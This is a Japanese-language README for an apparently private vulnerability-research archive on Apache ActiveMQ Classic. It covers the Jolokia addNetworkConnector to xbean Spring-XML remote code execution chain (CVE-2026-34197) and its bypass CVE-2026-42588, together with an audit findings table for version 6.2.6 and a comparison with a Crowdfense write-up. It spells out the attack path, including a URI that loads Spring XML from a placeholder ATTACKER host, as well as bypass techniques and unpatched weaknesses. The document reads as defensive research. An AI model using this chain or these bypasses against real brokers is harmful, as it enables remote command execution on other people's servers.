
Apache ActiveMQ Classic RCE研究:CVE-2026-34197 / CVE-2026-42588 バイパスチェーン + hardened-6.2.6 監査結果 + Crowdfense比較
Apache ActiveMQ Classic の Jolokia → addNetworkConnector → xbean/Spring-XML リモートコード実行チェーン(CVE-2026-34197 とそのパッチバイパス CVE-2026-42588)に関するプライベートリサーチアーカイブです。さらに、修正版 6.2.6 リリースの完全な自動リサーチ監査と、Crowdfense の公開バイパス記事との比較も含まれています。
すべての悪用は ローカルラボブローカー(Docker / 自己ホスト)に対して実行されました。ペイロードはプレースホルダーとして攻撃者ホストを使用しています。
| ディレクトリ | フェーズ | 内容 |
|---|---|---|
00-comparison-vs-crowdfense.md | 比較 | 我々の研究と Crowdfense の「ActiveMQ RCE Bypass」記事の比較(file:line でソース確認済み) |
01-original-cve-2026-34197/ | オリジナル再現 | 分析 + PoC スクリプト + Spring-XML ペイロード(ラボ: activemq-classic:5.18.6) |
02-reaudit-apr30/ | バージョンマトリックス | 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 で uid=0;評価 + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | ライブバイパス | 括弧なし複合バイパス (42588) + MessageServlet XSS (42253)、ライブ再現 |
04-audit-6.2.6/ | 完全監査 | 強化された 6.2.6 の自動リサーチ監査: 最終レポート + 発見事項台帳 |
ラボで使用したベンダーのソースツリーとバイナリ配布物は、意図的に 除外 されています(これらは上流のものであり、我々のものではありません)。
認証済み(CVE-2024-32114 により 6.0.0–6.1.1 では未認証)の Jolokia 呼び出し元が、細工された discovery URI を伴って BrokerView.addNetworkConnector(uri) を呼び出します。この URI の内部にある vm://…?brokerConfig=xbean:<url> により、ブローカーは攻撃者制御の Spring XML をロードするよう強制されます。Spring XML は、ブローカーの検証 前に ProcessBuilder Bean を即座にインスタンス化し、OS コマンド実行に至ります。
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
見出し: 3 つの発見事項は root/XSS まで ライブで証明 されています。6.2.6 監査では、さらに広範なセットが追加されていますが、これらは ソース確認済みで敵対的に評価済みですが、未だライブ起爆はされていません。6.2.6 の追加事項のうち、新しい 未認証 RCE はありません。ベンダーはそれらの扉を閉じました。残存リスクは認可と出力エンコーディングに移行しています。
MQTT QoS 序数による AIOOBE(QoS.values()[ordinal]、クロスプロトコル、設定不要) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · OpenWire アンマーシャルでの signed short NegativeArraySizeException · 負の AMQ_SCHEDULED_REPEAT による不滅ジョブ。
Crowdfense の Apache ActiveMQ RCE Bypass は 同じチェーン を扱っています(彼らは CVE-2026-34197 の下に分類し、我々はバイパスを独自の CVE-2026-42588 として追跡しています)。両方の説明は 3 層の防御で収束しています。唯一の相違点は 層 2 です。
唯一のギャップ: 彼らの層 2 パーセントエンコード + UNC/WebDAV トリックは、ローカル書き込みプリミティブなしで 完全リモート配信 を達成します。それが悪用する分類器の欠陥(activemq-spring/Utils.java:123-129、未デコード文字列に対する生の startsWith("file://"))は 我々の正確なソースに存在します が、リモート側は Windows のみ です(Linux は //host/share をローカルパスとして扱います)。また、我々のラボは Linux だったため、そこで実行可能ではありませんでした。いずれにせよ、6.2.6 では無効です(VMTransportFactory スキームゲートが xbean を、Utils が実行される前に拒否するため)。
フォローアップ: Windows でホストされた 5.19.6(または 5.19.7/6.2.6 より前のビルド)+ SMB/WebDAV リスナーを使用すれば、完全リモートの許可リストバイパスを実証できます。これは、我々のエンゲージメントがまだ示していない、記事が持つ唯一の能力です。
3 つのコミットがチェーンを閉じます: c1b44af11(括弧なし複合 URI の検証 — parseComposite を無条件化 + 再帰)、c2fc7a1d6(VMTransportFactory スキーム許可リストを介して XBeanBrokerFactory をデフォルトでブロック)、be8415f24(サンプル設定の強化: Jolokia をループバックに制限、addNetworkConnector を含む操作拒否リスト)。
| ID | 発見事項 | クラス | 重大度 | 認証 | 証拠 |
|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | クリティカル | 認証後(6.0.0–6.1.1 では未認証) | ライブ — uid=0(5.18.3 / 5.18.6 / 6.1.4 / 6.1.7) |
| CVE-2026-42588 | 括弧なし複合 URI による 34197 拒否リストのバイパス | RCE(パッチバイパス) | クリティカル | 認証後 | ライブ — uid=0(34197 パッチ適用済み 5.19.6 + 6.2.0) |
| CVE-2026-42253 | MessageServlet ヘッダーインジェクション → 格納型 XSS | インジェクション / XSS | 中 | 認証後 | ライブ(6.2.0) |
| ID | 発見事項 | クラス | 重大度 | 認証 | 備考 |
|---|
| C1 | static: 拒否リストのギャップ → SSRF — static が DENIED_TRANSPORT_SCHEMES に存在しない;addNetworkConnector("static:(tcp://…)") → 発信ブローカー TCP | SSRF | 中 | 管理者 / JMX | 記事で扱われている 34197/42588 と同じ拒否リスト を通過するシンクのバリアント |
| B1 | 永続的サブスクリプション クロス clientId 削除 IDOR — removeSubscription はネットワークから提供される clientId を鍵とし、AuthorizationBroker でゲートされていない | 認可バイパス / IDOR | 中 | 認証後(ブローカー認証オフの場合は認証前) | 最もクリーンな新規発見事項 |
| B3 | LDAP 空パスワード → 匿名バインド(LDAPLoginModule、空チェックなし) | 認証バイパス | 中(条件付き) | 認証前 | ディレクトリが匿名バインドを受け入れる場合に限る |
| A1–A7 | コンソール 出力エンコーディングインジェクション群 — 攻撃者制御の MessageId.textView(OpenWire v10+ および AMQP)が約 7 つの JSP/REST シンク + FileSystemBlobStrategy パストラバーサルでエスケープされていない | インジェクション | 低–中 | プロデューサー → 管理者 | デフォルトでは CSP により HTML/コンテンツインジェクションに制限 |
| B2 | Shiro WildcardPermission コロンインジェクションによる動詞昇格 | 権限昇格 | 低–中 | 認証後 | Shiro は非デフォルト |
| B4 | 一時宛先認可 失敗時開放 の非対称性 vs 非一時宛先の失敗時閉鎖 | 認可バイパス | 低 | 認証後 | 設計による(AMQ-4721);強化に関する注記 |
| B5 | StatisticsBroker replyTo が、プラグインが認可より前に順序付けられると 書き込み ACL をスキップ する | 認可バイパス | 低 | 認証後 | 設定順序に依存 |
| B6 | 証明書ログイン 非正準 DN(getSubjectDN().getName()) → 同一 CA 証明書間の ID 衝突 | 認証 | 低 | 認証前(TLS 検証済み) | 「任意の自己署名証明書」は 機能しない |
| B7 | populateJMSXUserID=false(デフォルト)時の JMSXUserID のなりすまし | なりすまし | 低 | 認証後 | — |
| F5 | STOMP 発信ヘッダー 名がエスケープされていない → 同一テナントのサブスクライバーへのフレームインジェクション | インジェクション | 低 | クロスプロトコル | STOMP 有効時 |
| 層 | 防御手段 | Crowdfense の突破方法 | 我々の突破方法 |
|---|
| 1 | スキーム 拒否リスト(34197 修正) | 括弧なし複合 static:vm://… | 同一 — 独立に発見 ✅ |
| 2 | xbean {file,classpath} 許可リスト(#1910) | パーセントエンコード file:%2f%2f… → Windows UNC → WebDAV → リモート HTTP フェッチ | ローカルファイル xbean:/tmp/evil.xml(ローカル書き込みが必要) |
| 3 | VMTransportFactory スキームゲート(broker,properties、42588 / 6.2.6 修正) | 決定的防御として認める | 同一結論 ✅ |